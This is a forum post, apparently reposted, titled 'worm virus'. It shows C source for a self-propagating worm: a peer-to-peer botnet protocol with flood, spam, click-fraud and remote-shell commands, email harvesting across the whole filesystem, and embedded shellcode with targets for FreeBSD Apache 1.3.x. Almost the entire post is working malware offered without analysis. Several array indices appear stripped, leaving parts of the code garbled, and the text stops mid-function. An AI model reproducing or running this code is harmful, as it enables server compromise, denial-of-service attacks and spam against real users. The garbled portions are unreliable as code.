蠕虫病毒

[复制链接]
yuchangzhi 发表于 2018-5-18 08:43:57 | 显示全部楼层 |阅读模式 打印 上一主题 下一主题
网站源码
是否原创: 转载他人
程序编码: UTF-8 
编程语言: 其他
程序类型: 其他类型
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <arpa/telnet.h>
#include <rpc/rpc.h>
#include <sys/wait.h>
#include <signal.h>


#define SCAN
#undef LARGE_NET
#undef FREEBSD
#define LINKS 64
#define CLIENTS 128
#define PORT 2001
#define SCANPORT    80
#define SCANTIMEOUT    5
#define MAXPATH        4096
#define ESCANPORT    10100

/////////////////////////////////////////////////////////

#define TCP_PENDING 1
#define TCP_CONNECTED 2
#define SOCKS_REPLY 3
#define FREE(x) {if (x) { free(x);x=NULL; }}
enum { ASUCCESS=0, ARESOLVE, ACONNECT, ASOCKET, ABIND, AINUSE, APENDING, AINSTANCE, AUNKNOWN };
enum { AREAD=1, AWRITE=2, AEXCEPT=4 };

void Log(char *format,...) {
    va_list args;
    int nBuf;
    char szBuffer[4096];
    FILE *a=fopen("/bin/.log","a");
    va_start(args,format);
    nBuf=vsnprintf(szBuffer,sizeof(szBuffer),format,args);
    va_end(args);
    if (a == NULL) return;
    fprintf(a,"%s",szBuffer);
    fclose(a);
}

void nas(int a) {
}

#ifdef SCAN
unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45,
    46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138,
    139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167,
    168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196,
    198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229,
    230, 231, 232, 233, 234, 235, 236, 237, 238, 239 };
#endif

struct ainst {
    void *ext,*ext5;
    int ext2,ext3,ext4;

    int sock,error;
    unsigned long len;
    struct sockaddr_in in;
};
struct header {
    char tag;
    int id;
    unsigned long len;
    unsigned long seq;
};
struct route_rec {
    struct header h;
    unsigned char hops;
    unsigned long server;
};
struct kill_rec {
    struct header h;
};
struct sh_rec {
    struct header h;
};
struct version_rec {
    struct header h;
};
struct ping_rec {
    struct header h;
};
struct pong_rec {
    struct header h;
    unsigned long from;
};
struct update_rec {
    struct header h;
};
struct list_rec {
    struct header h;
};
struct udp_rec {
    struct header h;
    unsigned long size;
    unsigned long target;
    unsigned short port;
    unsigned long secs;
};
struct tcp_rec {
    struct header h;
    unsigned long target;
    unsigned short port;
    unsigned long secs;
};
struct gen_rec {
    struct header h;
    unsigned long target;
    unsigned short port;
    unsigned long secs;
};
struct df_rec {
    struct header h;
    unsigned long target;
    unsigned long secs;
};
struct add_rec {
    struct header h;
    unsigned long server;
    unsigned long socks;
    unsigned long bind;
    unsigned short port;
};
struct data_rec {
    struct header h;
};
struct addsrv_rec {
    struct header h;
};
struct initsrv_rec {
    struct header h;
};
struct qmyip_rec {
    struct header h;
};
struct myip_rec {
    struct header h;
    unsigned long ip;
};
struct escan_rec {
    struct header h;
    unsigned long ip;
};
struct click_rec {
    struct header h;
};
struct spam_rec {
    struct header h;
    unsigned long from;
    unsigned long to;
};
struct exploit_rec {
    struct header h;
    unsigned long ip;
};

struct ainst clients[CLIENTS*2];
struct ainst udpclient;
unsigned int sseed;
struct route_table {
    int id;
    unsigned long ip;
    unsigned short port;
} routes[LINKS];
unsigned long numlinks,*links=NULL, myip=0;
unsigned long sequence[LINKS];
void gsrand(unsigned long s) { sseed=s; }
unsigned long grand() { sseed=((sseed*965764979)%65535)/2; return sseed; }
unsigned int *pids=NULL;
unsigned long numpids=0;

int mfork() {
    unsigned int parent, *newpids, i;
    parent=fork();
    if (parent <= 0) return parent;
    numpids++;
    newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
    for (i=0;i<numpids-1;i++) newpids=pids;
    newpids[numpids-1]=parent;
    FREE(pids);
    pids=newpids;
    return parent;
}

char *aerror(struct ainst *inst) {
    if (inst == NULL) return "Invalid instance or socket";
    switch(inst->error) {
        case ASUCCESS:return "Operation Success";
        case ARESOLVE:return "Unable to resolve";
        case ACONNECT:return "Unable to connect";
        case ASOCKET:return "Unable to create socket";
        case ABIND:return "Unable to bind socket";
        case AINUSE:return "Port is in use";
        case APENDING:return "Operation pending";
        case AUNKNOWN:default:return "Unknown";
    }
    return "";
}

int aresolve(char *host) {
     struct hostent *hp;
    if (inet_addr(host) == 0 || inet_addr(host) == -1) {
        unsigned long a;
        if ((hp = gethostbyname(host)) == NULL) return 0;
        bcopy((char*)hp->h_addr, (char*)&a, hp->h_length);
        return a;
    }
    else return inet_addr(host);
}

int abind(struct ainst *inst,unsigned long ip,unsigned short port) {
    struct sockaddr_in in;
    if (inst == NULL) return (AINSTANCE);
    if (inst->sock == 0) {
        inst->error=AINSTANCE;
        return (AINSTANCE);
    }
    inst->len=0;
    in.sin_family = AF_INET;
    if (ip == NULL) in.sin_addr.s_addr = INADDR_ANY;
    else in.sin_addr.s_addr = ip;
    in.sin_port = htons(port);
    if (bind(inst->sock, (struct sockaddr *)&in, sizeof(in)) < 0) {
        inst->error=ABIND;
        return (ABIND);
    }
    inst->error=ASUCCESS;
    return ASUCCESS;
}

int await(struct ainst **inst,unsigned long len,char type,long secs) {
    struct timeval tm,*tmp;
    fd_set read,write,except,*readp,*writep,*exceptp;
    int p,ret,max;
    if (inst == NULL) return (AINSTANCE);
    for (p=0;p<len;p++) inst[p]->len=0;
    if (secs > 0) {
        tm.tv_sec=secs;
        tm.tv_usec=0;
        tmp=&tm;
    }
    else tmp=(struct timeval *)NULL;
    if (type & AREAD) {
        FD_ZERO(&read);
        for (p=0;p<len;p++) FD_SET(inst[p]->sock,&read);
        readp=&read;
    }
    else readp=(struct fd_set*)0;
    if (type & AWRITE) {
        FD_ZERO(&write);
        for (p=0;p<len;p++) FD_SET(inst[p]->sock,&write);
        writep=&write;
    }
    else writep=(struct fd_set*)0;
    if (type & AEXCEPT) {
        FD_ZERO(&except);
        for (p=0;p<len;p++) FD_SET(inst[p]->sock,&except);
        exceptp=&except;
    }
    else exceptp=(struct fd_set*)0;
    for (p=0,max=0;p<len;p++) if (inst[p]->sock > max) max=inst[p]->sock;
    if ((ret=select(max+1,readp,writep,exceptp,tmp)) == 0) {
        for (p=0;p<len;p++) inst[p]->error=APENDING;
        return (APENDING);
    }
    if (ret == -1) return (AUNKNOWN);
    for (p=0;p<len;p++) {
        if (type & AREAD) if (FD_ISSET(inst[p]->sock,&read)) inst[p]->len+=AREAD;
        if (type & AWRITE) if (FD_ISSET(inst[p]->sock,&write)) inst[p]->len+=AWRITE;
        if (type & AEXCEPT) if (FD_ISSET(inst[p]->sock,&except)) inst[p]->len+=AEXCEPT;
    }
    for (p=0;p<len;p++) inst[p]->error=ASUCCESS;
    return (ASUCCESS);
}

int atcp_sync_check(struct ainst *inst) {
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    errno=0;
    if (connect(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) == 0 || errno == EISCONN) {
        inst->error=ASUCCESS;
        return (ASUCCESS);
    }
    if (!(errno == EINPROGRESS ||errno == EALREADY)) {
        inst->error=ACONNECT;
        return (ACONNECT);
    }
    inst->error=APENDING;
    return (APENDING);
}

int atcp_sync_connect(struct ainst *inst,char *host,unsigned int port) {
    int flag=1;
     struct hostent *hp;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if ((inst->sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        inst->error=ASOCKET;
        return (ASOCKET);
    }
    if (inet_addr(host) == 0 || inet_addr(host) == -1) {
        if ((hp = gethostbyname(host)) == NULL) {
            inst->error=ARESOLVE;
            return (ARESOLVE);
        }
        bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
    }
    else inst->in.sin_addr.s_addr=inet_addr(host);
    inst->in.sin_family = AF_INET;
    inst->in.sin_port = htons(port);
    flag = fcntl(inst->sock, F_GETFL, 0);
    flag |= O_NONBLOCK;
    fcntl(inst->sock, F_SETFL, flag);
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int atcp_connect(struct ainst *inst,char *host,unsigned int port) {
    int flag=1;
    unsigned long start;
     struct hostent *hp;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if ((inst->sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        inst->error=ASOCKET;
        return (ASOCKET);
    }
    if (inet_addr(host) == 0 || inet_addr(host) == -1) {
        if ((hp = gethostbyname(host)) == NULL) {
            inst->error=ARESOLVE;
            return (ARESOLVE);
        }
        bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
    }
    else inst->in.sin_addr.s_addr=inet_addr(host);
    inst->in.sin_family = AF_INET;
    inst->in.sin_port = htons(port);
    flag = fcntl(inst->sock, F_GETFL, 0);
    flag |= O_NONBLOCK;
    fcntl(inst->sock, F_SETFL, flag);
    start=time(NULL);
    while(time(NULL)-start < 10) {
        errno=0;
        if (connect(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) == 0 || errno == EISCONN) {
            inst->error=ASUCCESS;
            return (ASUCCESS);
        }
        if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
        sleep(1);
    }
    inst->error=ACONNECT;
    return (ACONNECT);
}

int atcp_accept(struct ainst *inst,struct ainst *child) {
    int sock;
    unsigned int datalen;
    if (inst == NULL || child == NULL) return (AINSTANCE);
    datalen=sizeof(child->in);
    inst->len=0;
    memcpy((void*)child,(void*)inst,sizeof(struct ainst));
    if ((sock=accept(inst->sock,(struct sockaddr *)&child->in,&datalen)) < 0) {
        memset((void*)child,0,sizeof(struct ainst));
        inst->error=APENDING;
        return (APENDING);
    }
    child->sock=sock;
    inst->len=datalen;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int atcp_send(struct ainst *inst,char *buf,unsigned long len) {
    long datalen;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    errno=0;
    if ((datalen=write(inst->sock,buf,len)) < len) {
        if (errno == EAGAIN) {
            inst->error=APENDING;
            return (APENDING);
        }
        else {
            inst->error=AUNKNOWN;
            return (AUNKNOWN);
        }
    }
    inst->len=datalen;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int atcp_sendmsg(struct ainst *inst, char *words, ...) {
    static char textBuffer[2048];
    unsigned int a;
    va_list args;
    va_start(args, words);
    a=vsprintf(textBuffer, words, args);
    va_end(args);
    return atcp_send(inst,textBuffer,a);
}

int atcp_recv(struct ainst *inst,char *buf,unsigned long len) {
    long datalen;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if ((datalen=read(inst->sock,buf,len)) < 0) {
        if (errno == EAGAIN) {
            inst->error=APENDING;
            return (APENDING);
        }
        else {
            inst->error=AUNKNOWN;
            return (AUNKNOWN);
        }
    }
    if (datalen == 0 && len) {
        inst->error=AUNKNOWN;
        return (AUNKNOWN);
    }
    inst->len=datalen;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int atcp_close(struct ainst *inst) {
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if (close(inst->sock) < 0) {
        inst->error=AUNKNOWN;
        return (AUNKNOWN);
    }
    inst->sock=0;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int audp_listen(struct ainst *inst,unsigned int port) {
    int flag=1;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if ((inst->sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
        inst->error=ASOCKET;
        return (ASOCKET);
    }
    inst->in.sin_family = AF_INET;
    inst->in.sin_addr.s_addr = INADDR_ANY;
    inst->in.sin_port = htons(port);
    if (bind(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) < 0) {
        inst->error=ABIND;
        return (ABIND);
    }
    flag = fcntl(inst->sock, F_GETFL, 0);
    flag |= O_NONBLOCK;
    fcntl(inst->sock, F_SETFL, flag);
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int audp_setup(struct ainst *inst,char *host,unsigned int port) {
    int flag=1;
     struct hostent *hp;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if ((inst->sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
        inst->error=ASOCKET;
        return (ASOCKET);
    }
    if (inet_addr(host) == 0 || inet_addr(host) == -1) {
        if ((hp = gethostbyname(host)) == NULL) {
            inst->error=ARESOLVE;
            return (ARESOLVE);
        }
        bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
    }
    else inst->in.sin_addr.s_addr=inet_addr(host);
    inst->in.sin_family = AF_INET;
    inst->in.sin_port = htons(port);
    flag = fcntl(inst->sock, F_GETFL, 0);
    flag |= O_NONBLOCK;
    fcntl(inst->sock, F_SETFL, flag);
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int audp_send(struct ainst *inst,char *buf,unsigned long len) {
    long datalen;
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    errno=0;
    if ((datalen=sendto(inst->sock,buf,len,0,(struct sockaddr*)&inst->in,sizeof(inst->in))) < len) {
        if (errno == EAGAIN) {
            inst->error=APENDING;
            return (APENDING);
        }
        else {
            inst->error=AUNKNOWN;
            return (AUNKNOWN);
        }
    }
    inst->len=datalen;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int audp_sendmsg(struct ainst *inst, char *words, ...) {
    static char textBuffer[2048];
    unsigned int a;
    va_list args;
    va_start(args, words);
    a=vsprintf(textBuffer, words, args);
    va_end(args);
    return audp_send(inst,textBuffer,a);
}

int audp_recv(struct ainst *inst,struct ainst *client,char *buf,unsigned long len) {
    long datalen,nlen;
    if (inst == NULL) return (AINSTANCE);
    nlen=sizeof(inst->in);
    inst->len=0;
    memcpy((void*)client,(void*)inst,sizeof(struct ainst));
    if ((datalen=recvfrom(inst->sock,buf,len,0,(struct sockaddr*)&client->in,(socklen_t*)&nlen)) < 0) {
        if (errno == EAGAIN) {
            inst->error=APENDING;
            return (APENDING);
        }
        else {
            inst->error=AUNKNOWN;
            return (AUNKNOWN);
        }
    }
    inst->len=datalen;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

int audp_close(struct ainst *inst) {
    if (inst == NULL) return (AINSTANCE);
    inst->len=0;
    if (close(inst->sock) < 0) {
        inst->error=AUNKNOWN;
        return (AUNKNOWN);
    }
    inst->sock=0;
    inst->error=ASUCCESS;
    return (ASUCCESS);
}

unsigned long _decrypt(char *str, unsigned long len) {
    unsigned long pos=0,seed[4]={0x78912389,0x094e7bc43,0xba5de30b,0x7bc54da7};
    gsrand(((seed[0]+seed[1])*seed[2])^seed[3]);
    while(1) {
        gsrand(seed[pos%4]+grand()+pos);
        str[pos]-=grand();
        pos++;
        if (pos >= len) break;
    }
    return pos;
}


unsigned long _encrypt(char *str, unsigned long len) {
    unsigned long pos=0,seed[4]={0x78912389,0x094e7bc43,0xba5de30b,0x7bc54da7};
    gsrand(((seed[0]+seed[1])*seed[2])^seed[3]);
    while(1) {
        gsrand(seed[pos%4]+grand()+pos);
        str[pos]+=grand();
        pos++;
        if (pos >= len) break;
    }
    return pos;
}

int useseq(unsigned long seq) {
    unsigned long a;
    if (seq == 0) return 0;
    for (a=0;a<LINKS;a++) if (sequence[a] == seq) return 1;
    return 0;
}

unsigned long newseq() {
    unsigned long seq;
    while(1) {
        seq=(rand()*rand())^rand();
        if (useseq(seq) || seq == 0) continue;
        break;
    }
    return seq;
}

struct ainst udpserver;

void addseq(unsigned long seq) {
    unsigned long i;
    for (i=LINKS;i>0;i--) sequence[i-1]=sequence;
    sequence[0]=seq;
}

void addserver(unsigned long server) {
    unsigned long *newlinks, i, stop;
    char a=0;
    for (i=0;i<numlinks;i++) if (links == server) a=1;
    if (a == 1) return;
    numlinks++;
    newlinks=(unsigned long*)malloc((numlinks+1)*sizeof(unsigned long));
    if (newlinks == NULL) return;
    stop=rand()%numlinks;
    for (i=0;i<stop;i++) newlinks=links;
    newlinks=server;
    for (;i<numlinks-1;i++) newlinks[i+1]=links;
    FREE(links);
    links=newlinks;
}

void conv(char *str,int len,unsigned long server) {
    memset(str,0,256);
    strcpy(str,inet_ntoa(*(struct in_addr*)&server));
}

int relay(unsigned long server,char *buf,unsigned long len) {
    struct ainst ts;
    char srv[256];
    conv(srv,256,server);
    audp_setup(&ts,srv,PORT);
    audp_close(&ts);
    ts.sock=udpserver.sock;
    return audp_send(&ts,buf,len);
}

int isreal(unsigned long server) {
    char srv[256];
    unsigned int i,f;
    unsigned char a=0,b=0;
    conv(srv,256,server);
    for (i=0;i<strlen(srv) && srv!='.';i++);
    srv=0;
    a=atoi(srv);
    f=i+1;
    for (i++;i<strlen(srv) && srv!='.';i++);
    srv=0;
    b=atoi(srv+f);
    if (a == 127 || a == 10 || a == 0) return 0;
    if (a == 172 && b >= 16 && b <= 31) return 0;
    if (a == 192 && b == 168) return 0;
    return 1;
}

void broadcast(char *buf,unsigned long len) {
    unsigned long nics,a;
    if (numlinks == 0 || links == NULL) return;
    a=(numlinks/5);
    if (a > 50) a=50;
    else if (a < 4) a=4;
    if (a > numlinks) a=numlinks;
    nics=rand()%((numlinks-a)+1);
    a+=nics;
    for (;nics<a;nics++) if (!myip || links[nics] != myip) relay(links[nics],buf,len);
}

void broute(unsigned long dest, char *buf,unsigned long len) {
    struct route_rec rc;
    char *str=(char*)malloc(sizeof(struct route_rec)+len+1);
    if (str == NULL) return;
    memset((void*)&rc,0,sizeof(struct route_rec));
    rc.h.tag=0x26;
    rc.h.id=rand();
    rc.h.len=sizeof(struct route_rec)+len;
    rc.h.seq=newseq();
    rc.server=dest;
    rc.hops=5;
    memcpy((void*)str,(void*)&rc,sizeof(struct route_rec));
    memcpy((void*)(str+sizeof(struct route_rec)),(void*)buf,len);
    broadcast(str,sizeof(struct route_rec)+len);
    FREE(str);
}

void syncm(struct ainst *inst,char tag,int id) {
    struct addsrv_rec rc;
    struct next_rec { unsigned long server; } fc;
    unsigned long a,b;
    for (b=0;;b+=700) {
        unsigned long _numlinks=numlinks-b>700?700:numlinks-b;
        unsigned long *_links=links+b;
        unsigned char *str;
        if (b > numlinks) break;
        str=(unsigned char*)malloc(sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
        if (str == NULL) return;
        memset((void*)&rc,0,sizeof(struct addsrv_rec));
        rc.h.tag=tag;
        rc.h.id=id;
        rc.h.len=sizeof(struct next_rec)*_numlinks;
        memcpy((void*)str,(void*)&rc,sizeof(struct addsrv_rec));
        for (a=0;a<_numlinks;a++) {
            memset((void*)&fc,0,sizeof(struct next_rec));
            fc.server=_links[a];
            memcpy((void*)(str+sizeof(struct addsrv_rec)+(a*sizeof(struct next_rec))),(void*)&fc,sizeof(struct next_rec));
        }
        if (!id) relay(inst->in.sin_addr.s_addr,(void*)str,sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
        else audp_send(inst,(void*)str,sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
        FREE(str);
    }
}

void senderror(struct ainst *inst, int id, char *buf2) {
    struct data_rec rc;
    char *str,*buf=strdup(buf2);
    memset((void*)&rc,0,sizeof(struct data_rec));
    rc.h.tag=0x45;
    rc.h.id=id;
    rc.h.seq=newseq();
    rc.h.len=strlen(buf2);
    _encrypt(buf,strlen(buf2));
    str=(char*)malloc(sizeof(struct data_rec)+strlen(buf2)+1);
    if (str == NULL) {
        FREE(buf2);
        return;
    }
    memcpy((void*)str,(void*)&rc,sizeof(struct data_rec));
    memcpy((void*)(str+sizeof(struct data_rec)),buf,strlen(buf2));
    audp_send(&udpclient,str,sizeof(struct data_rec)+strlen(buf2));
    FREE(str);
    FREE(buf);
}



int isgood(char a) {
    if (a >= 'a' && a <= 'z') return 1;
    if (a >= 'A' && a <= 'Z') return 1;
    if (a >= '0' && a <= '9') return 1;
    if (a == '.' || a == '@' || a == '^' || a == '-' || a == '_') return 1;
    return 0;
}

int islisten(char a) {
    if (a == '.') return 1;
    if (a >= 'a' && a <= 'z') return 1;
    if (a >= 'A' && a <= 'Z') return 1;
    return 0;
}

struct _linklist {
    char *name;
    struct _linklist *next;
} *linklist=NULL;

void AddToList(char *str) {
    struct _linklist *getb=linklist,*newb;
    while(getb != NULL) {
        if (!strcmp(str,getb->name)) return;
        getb=getb->next;
    }
    newb=(struct _linklist *)malloc(sizeof(struct _linklist));
    newb->name=strdup(str);
    newb->next=linklist;
    linklist=newb;
}

void cleanup(char *buf) {
    while(buf[strlen(buf)-1] == '\n' || buf[strlen(buf)-1] == '\r' || buf[strlen(buf)-1] == ' ') buf[strlen(buf)-1] = 0;
    while(*buf == '\n' || *buf == '\r' || *buf == ' ') {
        unsigned long i;
        for (i=strlen(buf)+1;i>0;i++) buf[i-1]=buf;
    }
}


void ScanFile(char *f) {
    FILE *file=fopen(f,"r");
    unsigned long startpos=0;
    if (file == NULL) return;
    while(1) {
        char buf[2];
        memset(buf,0,2);
        fseek(file,startpos,SEEK_SET);
        fread(buf,1,1,file);
        startpos++;
        if (feof(file)) break;
        if (*buf == '@') {
            char email[256],c,d;
            unsigned long pos=0;
            while(1) {
                unsigned long oldpos=ftell(file);
                fseek(file,-1,SEEK_CUR);
                c=fgetc(file);
                if (!isgood(c)) break;
                fseek(file,-1,SEEK_CUR);
                if (oldpos == ftell(file)) break;
            }
            for (pos=0,c=0,d=0;pos<255;pos++) {
                email[pos]=fgetc(file);
                if (email[pos] == '.') c++;
                if (email[pos] == '@') d++;
                if (!isgood(email[pos])) break;
            }
            email[pos]=0;
            if (c == 0 || d != 1) continue;
            if (email[strlen(email)-1] == '.') email[strlen(email)-1]=0;
            if (*email == '@' || *email == '.' || !*email) continue;
            if (!strcmp(email,"webmaster@mydomain.com")) continue;
            for (pos=0,c=0;pos<strlen(email);pos++) if (email[pos] == '.') c=pos;
            if (c == 0) continue;
            if (!strncmp(email+c,".hlp",4)) continue;
            if (!strncmp(email+c,".gov",4)) continue;
            for (pos=c,d=0;pos<strlen(email);pos++) if (!islisten(email[pos])) d=1;
            if (d == 1) continue;
            AddToList(email);
        }
    }
    fclose(file);
}

void StartScan() {
    FILE *f;
    f=popen("find / -type f","r");
    if (f == NULL) return;
    while(1) {
        char fullfile[MAXPATH];
        memset(fullfile,0,MAXPATH);
        fgets(fullfile,MAXPATH,f);
        if (feof(f)) break;
        while(fullfile[strlen(fullfile)-1]=='\n' ||
            fullfile[strlen(fullfile)-1] == '\r')
            fullfile[strlen(fullfile)-1]=0;
        if (!strncmp(fullfile,"/proc",5)) continue;
        if (!strncmp(fullfile,"/dev",4)) continue;
        if (!strncmp(fullfile,"/bin",4)) continue;
        ScanFile(fullfile);
    }
}

void ViewWebsite(char *http,char *cookie) {
    char *server,additional[256], cookies[1024], location[1024];
    unsigned long j,i;
    struct ainst up;
    char num=0;
    if (!strncmp(http,"http://",7)) server=http+7;
    else server=http;
    for (i=0;i<strlen(server);i++) if (server == '/') {
        server=0;
        num+=1;
        break;
    }
    memset(additional,0,256);
    if (cookie) {
        for (j=0;j<strlen(cookie);j++) if (cookie[j] == ';') {
            cookie[j]=0;
            break;
        }
        sprintf(additional,"Cookie2: $Version=\"1\"\r\nCookie: %s\r\n",cookie);
    }
    if (atcp_connect(&up,server,80) != 0) return;
    if (rand()%2) {
        atcp_sendmsg(&up,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n%s\r\n",server+i+num,server,additional);
    }
    else {
        atcp_sendmsg(&up,"GET /%s HTTP/1.0\r\nHost: %s\r\nAccept: text/html, text/plain, text/sgml, */*;q=0.01\r\nAccept-Encoding: gzip, compress\r\nAccept-Language: en\r\nUser-Agent: Lynx/2.8.4rel.1 libwww-FM/2.14\r\n%s\r\n",server+i+num,server,additional);
    }
    memset(cookies,0,1024);
    memset(location,0,1024);
    while(1) {
        fd_set n;
        struct timeval tv;
        FD_ZERO(&n);
        FD_SET(up.sock,&n);
        tv.tv_sec=60*20;
        tv.tv_usec=0;
        if (select(up.sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) break;
        if (FD_ISSET(up.sock,&n)) {
            char buf[4096], *str;
            unsigned long code,i;
            if ((i=recv(up.sock,buf,4096,0)) <= 0) break;
            buf=0;
            str=strtok(buf,"\n");
            while(str && *str) {
                char name[1024], params[1024];
                while(str[strlen(str)-1] == '\r' || str[strlen(str)-1] == '\n') str[strlen(str)-1] = 0;
                for (i=0;i<strlen(str);i++) if (str == ':' || str == '/') break;
                str=0;
                if (strlen(str) < 1024) {
                    strcpy(name,str);
                    if (strlen(str+i+1) < 1024) {
                        if (str[i+1] == ' ') strcpy(params,str+i+2);
                        else strcpy(params,str+i+1);
                        if (!strcmp(name,"HTTP")) code=atoi(params);
                        else if (!strcmp(name,"Set-Cookie")) strcpy(cookies,params);
                        else if (!strcmp(name,"Location")) strcpy(location,params);
                    }
                }
                str=strtok((char*)NULL,"\n");
            }
            if (*location) {
                char *a=strdup(location),*b=strdup(cookies);
                ViewWebsite(a,b);
                FREE(a);
                FREE(b);
            }
        }
    }
}

#ifdef SCAN
#define HOST_PARAM    "Unknown"
#define RET_ADDR_INC    512
#define PADSIZE_1    4
#define PADSIZE_2     5
#define PADSIZE_3    7
#define REP_POPULATOR    24
#define REP_SHELLCODE    24
#define NOPCOUNT    1024
#undef NOP
#define NOP        0x41
#define PADDING_1    'A'
#define PADDING_2    'B'
#define PADDING_3    'C'
#define PUT_STRING(s)    memcpy(p, s, strlen(s)); p += strlen(s);
#define PUT_BYTES(n, b)    memset(p, b, n); p += n;
char shellcode[] =
  "\x68\x47\x47\x47\x47\x89\xe3\x31\xc0\x50\x50\x50\x50\xc6\x04\x24"
  "\x04\x53\x50\x50\x31\xd2\x31\xc9\xb1\x80\xc1\xe1\x18\xd1\xea\x31"
  "\xc0\xb0\x85\xcd\x80\x72\x02\x09\xca\xff\x44\x24\x04\x80\x7c\x24"
  "\x04\x20\x75\xe9\x31\xc0\x89\x44\x24\x04\xc6\x44\x24\x04\x20\x89"
  "\x64\x24\x08\x89\x44\x24\x0c\x89\x44\x24\x10\x89\x44\x24\x14\x89"
  "\x54\x24\x18\x8b\x54\x24\x18\x89\x14\x24\x31\xc0\xb0\x5d\xcd\x80"
  "\x31\xc9\xd1\x2c\x24\x73\x27\x31\xc0\x50\x50\x50\x50\xff\x04\x24"
  "\x54\xff\x04\x24\xff\x04\x24\xff\x04\x24\xff\x04\x24\x51\x50\xb0"
  "\x1d\xcd\x80\x58\x58\x58\x58\x58\x3c\x4f\x74\x0b\x58\x58\x41\x80"
  "\xf9\x20\x75\xce\xeb\xbd\x90\x31\xc0\x50\x51\x50\x31\xc0\xb0\x5a"
  "\xcd\x80\xff\x44\x24\x08\x80\x7c\x24\x08\x03\x75\xef\x31\xc0\x50"
  "\xc6\x04\x24\x0b\x80\x34\x24\x01\x68\x42\x4c\x45\x2a\x68\x2a\x47"
  "\x4f\x42\x89\xe3\xb0\x09\x50\x53\xb0\x01\x50\x50\xb0\x04\xcd\x80"
  "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50"
  "\x53\x89\xe1\x50\x51\x53\x50\xb0\x3b\xcd\x80\xcc";
;

struct {
    char *type;
    int delta;
    u_long retaddr;
    int repretaddr;
    int repzero;
} targets[] = {
        { "FreeBSD 4.5 x86 / Apache/1.3.20 (Unix)",      -146,  0xbfbfde00,6, 36 },
        { "FreeBSD 4.5 x86 / Apache/1.3.22-24 (Unix)",   -134,  0xbfbfdb00,3, 36 },
}, victim;

char *GetAddress(char *ip) {
    struct sockaddr_in sin;
    fd_set fds;
    int n,d,sock;
    char buf[1024];
    struct timeval tv;
    sock = socket(PF_INET, SOCK_STREAM, 0);
    sin.sin_family = PF_INET;
    sin.sin_addr.s_addr = inet_addr(ip);
    sin.sin_port = htons(80);
    if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL;
    write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));
    tv.tv_sec = 15;
    tv.tv_usec = 0;
    FD_ZERO(&fds);
    FD_SET(sock, &fds);
    memset(buf, 0, sizeof(buf));
    if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
        if(FD_ISSET(sock, &fds)) {
            if((n = read(sock, buf, sizeof(buf) - 1)) < 0) return NULL;
            for (d=0;d<n;d++) if (!strncmp(buf+d,"Server: ",strlen("Server: "))) {
                char *start=buf+d+strlen("Server: ");
